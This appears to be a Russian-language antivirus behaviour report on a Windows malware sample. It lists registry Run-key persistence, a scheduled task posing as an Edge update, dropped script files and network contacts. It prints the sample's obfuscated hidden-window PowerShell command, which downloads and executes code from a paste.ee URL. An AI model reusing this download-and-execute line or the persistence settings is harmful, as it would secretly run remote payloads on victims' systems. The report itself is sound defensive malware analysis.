Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'RunScheduledTask' = 'powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\RunScheduledTask.ps1"'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoftedgeupdatetask
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\wvcxc2vscerrbtlaylrrevnvz.ps1
- C:\users\public\wvcxc2vscerrbtlaylrrevnvz.bat
- C:\users\public\wvcxc2vscerrbtlaylrrevnvz.vbs
- C:\users\public\runscheduledtask.ps1
Сетевая активность
Подключается к
- 'pa##e.ee':443
- 'pk#.goog':80
TCP
Запросы HTTP GET
- http://pk#.goog/gsr1/gsr1.crt
Другие
- 'pa##e.ee':443
UDP
- DNS ASK pa##e.ee
- DNS ASK pk#.goog
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/d/V3Lmu/0'')'.RePLACe('VAN','ADSTRIN... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/d/V3Lmu/0'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($...
